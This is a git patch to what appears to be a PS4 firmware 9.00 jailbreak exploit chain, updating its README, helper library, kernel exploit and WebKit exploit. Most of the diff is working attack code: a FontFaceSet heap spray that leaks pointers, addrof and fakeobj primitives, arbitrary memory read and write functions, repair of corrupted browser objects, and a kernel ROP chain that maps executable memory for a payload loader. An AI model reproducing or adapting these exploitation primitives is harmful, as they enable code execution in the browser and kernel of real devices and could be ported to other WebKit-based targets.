From 3a671a23854df90dbcecd1c3ccbf4d8792ef908f Mon Sep 17 00:00:00 2001 From: Chendo <39858639+ChendoChap@users.noreply.github.com> Date: Sat, 18 Dec 2021 05:30:41 +0100 Subject: [PATCH] # Update - Add @sleirsgoevy 's fix (https://raw.githubusercontent.com/sleirsgoevy/bad_hoist/059f22f3fe472307db3e0b0735b23c80bebe1226/exploit.js) - Comment stuff --- README.md | 10 ++- int64.js | 245 ++------------------------------------------------ kexploit.js | 20 ++++- webkit.js | 254 +++++++++++++++++++++++++++++++++++----------------- 4 files changed, 201 insertions(+), 328 deletions(-) diff --git a/README.md b/README.md index de62c20..cd9995f 100644 --- a/README.md +++ b/README.md @@ -25,12 +25,14 @@ When running the exploit on the PS4, wait until it reaches an alert with "Insert It may take a minute for the exploit to run, and the spinning animation on the page might freeze - this is fine, let it continue until an error shows or it succeeds and displays "Awaiting payload". -## Notes -- You need to insert the USB when the alert pops up, then let it sit there for a bit until the ps4 storage notifications shows up. +## Extra Notes - Unplug the USB before a (re)boot cycle or you'll risk corrupting the kernel heap at boot. - The browser might tempt you into closing the page prematurely, don't. -- The loading circle might freeze while the webkit exploit is triggering, this means nothing. +- The loading circle might freeze while the webkit exploit is triggering, this doesn't yet mean that the exploit failed. +- The bug predates firmware 1.00, so 1.00-9.00 should be exploitable using the same strategy (you will need a different userland exploit & gadgets). +- You can replace the loader with a specific payload to load stuff directly instead of doing it through sockets. - This bug works on certain PS5 firmwares, however there's no known strategy for exploiting it at the moment. Using this bug against the PS5 blind wouldn't be advised. +- Please don't open issues to tell me that there are none... nor make attempts at making me do your homework for you. ## Contributors @@ -40,4 +42,4 @@ It may take a minute for the exploit to run, and the spinning animation on the p ## Special Thanks - [Andy Nguyen](https://twitter.com/theflow0) -- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://gist.github.com/sleirsgoevy/6beca32893909095f4bba1ce29167992) +- [sleirsgoevy](https://twitter.com/sleirsgoevy) - [9.00 Webkit exploit](https://github.com/sleirsgoevy/bad_hoist/tree/9.00) diff --git a/int64.js b/int64.js index 798cae3..cd0af20 100644 --- a/int64.js +++ b/int64.js @@ -1,6 +1,3 @@ -// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js -// -// Copyright (c) 2016 Samuel Groß function int64(low, hi) { this.low = (low >>> 0); this.hi = (hi >>> 0); @@ -39,27 +36,6 @@ function int64(low, hi) { return new int64(new_lo, new_hi); } - this.add64 = function(val) { - var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0; - var new_hi = (this.hi >>> 0); - - if (new_lo > (this.low) & 0xFFFFFFFF) { - new_hi++; - } - new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0; - return new int64(new_lo, new_hi); - } - this.sub64 = function(val) { - var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0; - var new_hi = (this.hi >>> 0); - - if (new_lo > (this.low) & 0xFFFFFFFF) { - new_hi--; - } - new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0; - return new int64(new_lo, new_hi); - } - this.sub32inplace = function (val) { var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; var new_hi = (this.hi >>> 0); @@ -97,19 +73,6 @@ function int64(low, hi) { return hi_str + lo_str; } - this.toPacked = function () { - return { - hi: this.hi, - low: this.low - }; - } - - this.setPacked = function (pck) { - this.hi = pck.hi; - this.low = pck.low; - return this; - } - return this; } @@ -122,207 +85,13 @@ function zeroFill(number, width) { return number + ""; // always return a string } -function Int64(low, high) { - var bytes = new Uint8Array(8); - if (arguments.length > 2 || arguments.length == 0) - throw TypeError("Incorrect number of arguments to constructor"); - if (arguments.length == 2) { - if (typeof low != 'number' || typeof high != 'number') { - throw TypeError("Both arguments must be numbers"); - } - if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) { - throw RangeError("Both arguments must fit inside a uint32"); - } - low = low.toString(16); - for (let i = 0; i < 8 - low.length; i++) { - low = "0" + low; - } - low = "0x" + high.toString(16) + low; +function zeroFill(number, width) { + width -= number.toString().length; + + if (width > 0) { + return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; } - switch (typeof low) { - case 'number': - low = '0x' + Math.floor(low).toString(16); - case 'string': - if (low.substr(0, 2) === "0x") - low = low.substr(2); - if (low.length % 2 == 1) - low = '0' + low; - var bigEndian = unhexlify(low, 8); - var arr = []; - for (var i = 0; i < bigEndian.length; i++) { - arr[i] = bigEndian[i]; - } - bytes.set(arr.reverse()); - break; - case 'object': - if (low instanceof Int64) { - bytes.set(low.bytes()); - } else { - if (low.length != 8) - throw TypeError("Array must have excactly 8 elements."); - bytes.set(low); - } - break; - case 'undefined': - break; - } - - // Return a double whith the same underlying bit representation. - this.asDouble = function () { - // Check for NaN - if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) - throw new RangeError("Can not be represented by a double"); - - return Struct.unpack(Struct.float64, bytes); - }; - - this.asInteger = function () { - if (bytes[7] != 0 || bytes[6] > 0x20) { - debug_log("SOMETHING BAD HAS HAPPENED!!!"); - throw new RangeError( - "Can not be represented as a regular number"); - } - return Struct.unpack(Struct.int64, bytes); - }; - - // Return a javascript value with the same underlying bit representation. - // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) - // due to double conversion constraints. - this.asJSValue = function () { - if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[ - 6] == 0xff)) - throw new RangeError( - "Can not be represented by a JSValue"); - - // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. - return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes()); - }; - - // Return the underlying bytes of this number as array. - this.bytes = function () { - var arr = []; - for (var i = 0; i < bytes.length; i++) { - arr.push(bytes[i]) - } - return arr; - }; - - // Return the byte at the given index. - this.byteAt = function (i) { - return bytes[i]; - }; - - // Return the value of this number as unsigned hex string. - this.toString = function () { - var arr = []; - for (var i = 0; i < bytes.length; i++) { - arr.push(bytes[i]) - } - return '0x' + hexlify(arr.reverse()); - }; - - this.low32 = function () { - return new Uint32Array(bytes.buffer)[0] >>> 0; - }; - - this.hi32 = function () { - return new Uint32Array(bytes.buffer)[1] >>> 0; - }; - - this.equals = function (other) { - if (!(other instanceof Int64)) { - other = new Int64(other); - } - for (var i = 0; i < 8; i++) { - if (bytes[i] != other.byteAt(i)) - return false; - } - return true; - }; - - this.greater = function (other) { - if (!(other instanceof Int64)) { - other = new Int64(other); - } - if (this.hi32() > other.hi32()) - return true; - else if (this.hi32() === other.hi32()) { - if (this.low32() > other.low32()) - return true; - } - return false; - }; - // Basic arithmetic. - // These functions assign the result of the computation to their 'this' object. - - // Decorator for Int64 instance operations. Takes care - // of converting arguments to Int64 instances if required. - function operation(f, nargs) { - return function () { - if (arguments.length != nargs) - throw Error("Not enough arguments for function " + f.name); - var new_args = []; - for (var i = 0; i < arguments.length; i++) { - if (!(arguments[i] instanceof Int64)) { - new_args[i] = new Int64(arguments[i]); - } else { - new_args[i] = arguments[i]; - } - } - return f.apply(this, new_args); - }; - } - - this.neg = operation(function neg() { - var ret = []; - for (var i = 0; i < 8; i++) - ret[i] = ~this.byteAt(i); - return new Int64(ret).add(Int64.One); - }, 0); - - this.add = operation(function add(a) { - var ret = []; - var carry = 0; - for (var i = 0; i < 8; i++) { - var cur = this.byteAt(i) + a.byteAt(i) + carry; - carry = cur > 0xff | 0; - ret[i] = cur; - } - return new Int64(ret); - }, 1); - - this.assignAdd = operation(function assignAdd(a) { - var carry = 0; - for (var i = 0; i < 8; i++) { - var cur = this.byteAt(i) + a.byteAt(i) + carry; - carry = cur > 0xff | 0; - bytes[i] = cur; - } - return this; - }, 1); - - - this.sub = operation(function sub(a) { - var ret = []; - var carry = 0; - for (var i = 0; i < 8; i++) { - var cur = this.byteAt(i) - a.byteAt(i) - carry; - carry = cur < 0 | 0; - ret[i] = cur; - } - return new Int64(ret); - }, 1); -} - -// Constructs a new Int64 instance with the same bit representation as the provided double. -Int64.fromDouble = function (d) { - var bytes = Struct.pack(Struct.float64, d); - return new Int64(bytes); -}; - -// Some commonly used numbers. -Int64.Zero = new Int64(0); -Int64.One = new Int64(1); -Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff); \ No newline at end of file + return number + ""; // always return a string +} \ No newline at end of file diff --git a/kexploit.js b/kexploit.js index f76c126..2e4f75b 100644 --- a/kexploit.js +++ b/kexploit.js @@ -86,6 +86,9 @@ var ipmi_gadgetmap = { function userland() { + //RW -> ROP method is strongly based of: + //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit + p.launch_chain = launch_chain; p.malloc = malloc; p.malloc32 = malloc32; @@ -259,11 +262,18 @@ function run_hax() { if (chain.syscall(23, 0).low != 0x0) { kernel(); //this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?. + //p.write8(0x0, 0x0); //write to 0x0 -> kill browser. } + //tries to map at 0x926200000 because there's still idk how many payloads that have it hardcoded like that. No MAP_FIXED for them though... var payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0); var payload_loader = p.malloc32(0x1000); + //NOTE: You can replace this with a payload instead of the loader. + //You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);) + //And other ways, .... + + //This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness) var loader_writer = payload_loader.backing; loader_writer[0] = 0x56415741; loader_writer[1] = 0x83485541; @@ -369,6 +379,7 @@ function load_prx(name) { return tlsinit; } +//Obtain extra gadgets through module loading function extra_gadgets() { handle = p.malloc(0x150); var randomized_path_ptr = handle.add32(0x4); @@ -396,6 +407,7 @@ function extra_gadgets() { } } +//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. function kchain_setup() { const KERNEL_setidt = 0x312c40; const KERNEL_setcr0 = 0x1FB949; @@ -573,12 +585,10 @@ function object_setup() { } var trigger_spray = function () { - //Make socket <= 0xFF | -> alloc 0x800 - var NUM_KQUEUES = 0x1B0; var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4); - //Make Kqueues + //Make kqueues { for (var i = 0; i < NUM_KQUEUES; i++) { chain.fcall(window.syscalls[362]); @@ -629,7 +639,9 @@ var trigger_spray = function () { if (chain.syscall(23, 0).low == 0) { return; } - alert("exploit failed (kernel heap might be fucked if you *did* insert the USB"); + alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all. + if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on. + closing this alert will crash the browser for you.`); p.write8(0, 0); return; } \ No newline at end of file diff --git a/webkit.js b/webkit.js index a610d4f..2808966 100644 --- a/webkit.js +++ b/webkit.js @@ -2,7 +2,7 @@ var PAGE_SIZE = 16384; var SIZEOF_CSS_FONT_FACE = 0xb8; var HASHMAP_BUCKET = 208; var STRING_OFFSET = 20; -var SPRAY_FONTS = 0x1000; +var SPRAY_FONTS = 0x100a; var GUESS_FONT = 0x200430000; var NPAGES = 20; var INVALID_POINTER = 0; @@ -11,12 +11,6 @@ var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time function poc() { - function hex(n) { - if ((typeof n) != "number") - return "" + n; - return "0x" + (new Number(n)).toString(16); - } - var union = new ArrayBuffer(8); var union_b = new Uint8Array(union); var union_i = new Uint32Array(union); @@ -78,6 +72,10 @@ function poc() { var ite = true; var matches = 0; + var round = 0; + + window.ffses = {}; + do { var p_s = ptrToString(NPAGES + 2); // vector.size() @@ -88,7 +86,7 @@ function poc() { for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); - var ffs = new FontFaceSet(bad_fonts); + var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts); var badstr1 = mkString(HASHMAP_BUCKET, p_s); @@ -96,7 +94,7 @@ function poc() { var guessed_addr = null; for (var i = 0; i < SPRAY_FONTS; i++) { - bad_fonts[i].family = "evil"; + bad_fonts[i].family = "search" + round; if (badstr1.substr(0, p_s.length) != p_s) { guessed_font = i; var p_s1 = badstr1.substr(0, p_s.length); @@ -130,16 +128,17 @@ function poc() { for (var i = 0; i < 256; i++) mkString(HASHMAP_BUCKET, p_s); - var ffs2 = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); - var badstr2 = mkString(HASHMAP_BUCKET, p_s); - mkString(HASHMAP_BUCKET, p_s); - - bad_fonts[guessed_font].family = "evil2"; - bad_fonts[guessed_font + 1].family = "evil3"; - - var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); - - var ffses = {}; + var needfix = []; + for (var i = 0;; i++) { + ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]); + var badstr2 = mkString(HASHMAP_BUCKET, p_s); + needfix.push(mkString(HASHMAP_BUCKET, p_s)); + bad_fonts[guessed_font].family = "evil2"; + bad_fonts[guessed_font + 1].family = "evil3"; + var leak = stringToPtr(badstr2.substr(badstr2.length - 8)); + if (leak < 0x1000000000000) + break; + } function makeReader(read_addr, ffs_name) { var fake_s = ''; @@ -162,6 +161,7 @@ function poc() { bad_fonts[guessed_font].family = ffs_name + "_evil1"; bad_fonts[guessed_font + 1].family = ffs_name + "_evil2"; bad_fonts[guessed_font + 2].family = ffs_name + "_evil3"; + needfix.push(relative_read); if (relative_read.length < 1000) //failed return makeReader(read_addr, ffs_name + '_'); return relative_read; @@ -206,7 +206,6 @@ function poc() { var rd_leak = makeReader(jsvalue_leak, 'ffs4'); var array256 = stringToPtr(rd_leak, 16); //arrays[256] var ui32a = stringToPtr(rd_leak, 24); //Uint32Array - var sanity = stringToPtr(rd_leak, 32); var rd_arr = makeReader(array256, 'ffs5'); var butterfly = stringToPtr(rd_arr, 8); @@ -254,33 +253,39 @@ function poc() { for (var i = 0; i < HAMMER_NSTRINGS; i++) mkString(HASHMAP_BUCKET, pp_s); - var ffs7 = new FontFaceSet(ffs7_args); + ffses.ffs7 = new FontFaceSet(ffs7_args); mkString(HASHMAP_BUCKET, pp_s); - var ffs8 = new FontFaceSet(ffs8_args); - mkString(HASHMAP_BUCKET, fake_s); + ffses.ffs8 = new FontFaceSet(ffs8_args); + var post_ffs = mkString(HASHMAP_BUCKET, fake_s); + needfix.push(post_ffs); for (var i = 0; i < 13; i++) bad_fonts[guessed_font + i].family = "hammer" + i; - - window.addrof = function (obj) { + function boot_addrof(obj) { arrays[257][32] = obj; union_f[0] = arrays[258][0]; - return new int64(union_i[0], union_i[1]); + return union_i[1] * 0x100000000 + union_i[0]; } - window.fakeobj = function (addr) { - union_i[0] = addr.low; - union_i[1] = addr.hi; + function boot_fakeobj(addr) { + union_i[0] = addr; + union_i[1] = (addr - addr % 0x100000000) / 0x100000000; arrays[258][0] = union_f[0]; return arrays[257][32]; } + //craft misaligned typedarray var arw_master = new Uint32Array(8); - var arw_slave = new Uint32Array(2); + var arw_slave = new Uint8Array(1); + var obj_master = new Uint32Array(8); + var obj_slave = { + obj: null + }; - var addrof_slave = addrof(arw_slave); + var addrof_slave = boot_addrof(arw_slave); + var addrof_obj_slave = boot_addrof(obj_slave); union_i[0] = structureid_low; union_i[1] = structureid_high; union_b[6] = 7; @@ -291,78 +296,163 @@ function poc() { size: 0x5678 }; + function i48_put(x, a) { + a[4] = x | 0; + a[5] = (x / 4294967296) | 0; + } + + function i48_get(a) { + return a[4] + a[5] * 4294967296; + } + + window.addrof = function (x) { + obj_slave.obj = x; + return i48_get(obj_master); + } + + window.fakeobj = function (x) { + i48_put(x, obj_master); + return obj_slave.obj; + } + + function read_mem_setup(p, sz) { + i48_put(p, arw_master); + arw_master[6] = sz; + } + + window.read_mem = function (p, sz) { + read_mem_setup(p, sz); + var arr = []; + for (var i = 0; i < sz; i++) + arr.push(arw_slave[i]); + return arr; + }; + + window.write_mem = function (p, data) { + read_mem_setup(p, data.length); + for (var i = 0; i < data.length; i++) + arw_slave[i] = data[i]; + }; + + window.read_ptr_at = function (p) { + var ans = 0; + var d = read_mem(p, 8); + for (var i = 7; i >= 0; i--) + ans = 256 * ans + d[i]; + return ans; + }; + + window.write_ptr_at = function (p, d) { + var arr = []; + for (var i = 0; i < 8; i++) { + arr.push(d & 0xff); + d /= 256; + } + write_mem(p, arr); + }; + (function () { - var magic = fakeobj(addrof(obj).add32(0x10)); - magic[4] = addrof_slave.low; - magic[5] = addrof_slave.hi; + var magic = boot_fakeobj(boot_addrof(obj) + 16); + magic[4] = addrof_slave; + magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000; + obj.buffer = obj_master; + magic[4] = addrof_obj_slave; + magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000; magic = null; })(); + //fix fucked objects to stabilize webkit + + (function () { + //fix fontfaceset (memmoved 96 bytes to low, move back) + var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208; + write_mem(ffs_addr, read_mem(ffs_addr - 96, 208)); + //fix strings (restore "valid") header + for (var i = 0; i < needfix.length; i++) { + var addr = read_ptr_at(addrof(needfix[i]) + 8); + write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1); + write_ptr_at(addr + 8, addr + 20); + write_ptr_at(addr + 16, 0x80000014); + } + //fix array butterfly + write_ptr_at(butterfly + 248, 0x1f0000001f); + })(); + + //^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that. + + //create compat stuff for kexploit.js + var expl_master = new Uint32Array(8); + var expl_slave = new Uint32Array(2); + var addrof_expl_slave = addrof(expl_slave); + var m = fakeobj(addrof(obj) + 16); + obj.buffer = expl_master; + m[4] = addrof_expl_slave; + m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000; + var prim = { - write8: function(addr, value) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - if(value instanceof int64) { - arw_slave[0] = value.low; - arw_slave[1] = value.hi; + write8: function (addr, value) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + if (value instanceof int64) { + expl_slave[0] = value.low; + expl_slave[1] = value.hi; } else { - arw_slave[0] = value; - arw_slave[1] = 0; + expl_slave[0] = value; + expl_slave[1] = 0; } }, - write4: function(addr, value) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - if(value instanceof int64) { - arw_slave[0] = value.low; + write4: function (addr, value) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + if (value instanceof int64) { + expl_slave[0] = value.low; } else { - arw_slave[0] = value; + expl_slave[0] = value; } }, - write2: function(addr, value) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - var tmp = arw_slave[0] & 0xFFFF0000; - if(value instanceof int64) { - arw_slave[0] = ((value.low & 0xFFFF) | tmp); + write2: function (addr, value) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + var tmp = expl_slave[0] & 0xFFFF0000; + if (value instanceof int64) { + expl_slave[0] = ((value.low & 0xFFFF) | tmp); } else { - arw_slave[0] = ((value & 0xFFFF) | tmp); + expl_slave[0] = ((value & 0xFFFF) | tmp); } }, - write1: function(addr, value) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - var tmp = arw_slave[0] & 0xFFFFFF00; - if(value instanceof int64) { - arw_slave[0] = ((value.low & 0xFF) | tmp); + write1: function (addr, value) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + var tmp = expl_slave[0] & 0xFFFFFF00; + if (value instanceof int64) { + expl_slave[0] = ((value.low & 0xFF) | tmp); } else { - arw_slave[0] = ((value & 0xFF) | tmp); + expl_slave[0] = ((value & 0xFF) | tmp); } }, - read8: function(addr) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - return new int64(arw_slave[0], arw_slave[1]); + read8: function (addr) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + return new int64(expl_slave[0], expl_slave[1]); }, - read4: function(addr) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - return arw_slave[0]; + read4: function (addr) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + return expl_slave[0]; }, - read2: function(addr) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - return arw_slave[0] & 0xFFFF; + read2: function (addr) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + return expl_slave[0] & 0xFFFF; }, - read1: function(addr) { - arw_master[4] = addr.low; - arw_master[5] = addr.hi; - return arw_slave[0] & 0xFF; + read1: function (addr) { + expl_master[4] = addr.low; + expl_master[5] = addr.hi; + return expl_slave[0] & 0xFF; }, - leakval: function(obj) { - arrays[257][32] = obj; - union_f[0] = arrays[258][0]; - return new int64(union_i[0], union_i[1]); + leakval: function (obj) { + obj_slave.obj = obj; + return new int64(obj_master[4], obj_master[5]); } }; window.p = prim;